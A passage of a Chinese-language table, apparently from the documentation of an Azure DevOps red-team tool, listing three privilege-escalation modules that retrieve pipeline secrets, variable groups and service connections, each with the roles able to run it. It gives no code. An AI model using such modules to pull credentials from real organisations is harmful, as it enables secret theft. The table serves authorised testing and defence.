| 权限提升 | getpipelinesecrets | 是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators | |
| 权限提升 | getvariablegroups | 是 - Contributors 或 Readers 或 Build Administrators 或 Project Administrators 或 Project Team Member 或 Project Collection Test Service Accounts 或 Project Collection Build Service Accounts 或 Project Collection Build Administrators 或 Project Collection Service Accounts 或 Project Collection Administrators | |
| 权限提升 | getserviceconnections | 是 - Project Administrator、Project Collection Administrator 或 Project Collection Service Accounts |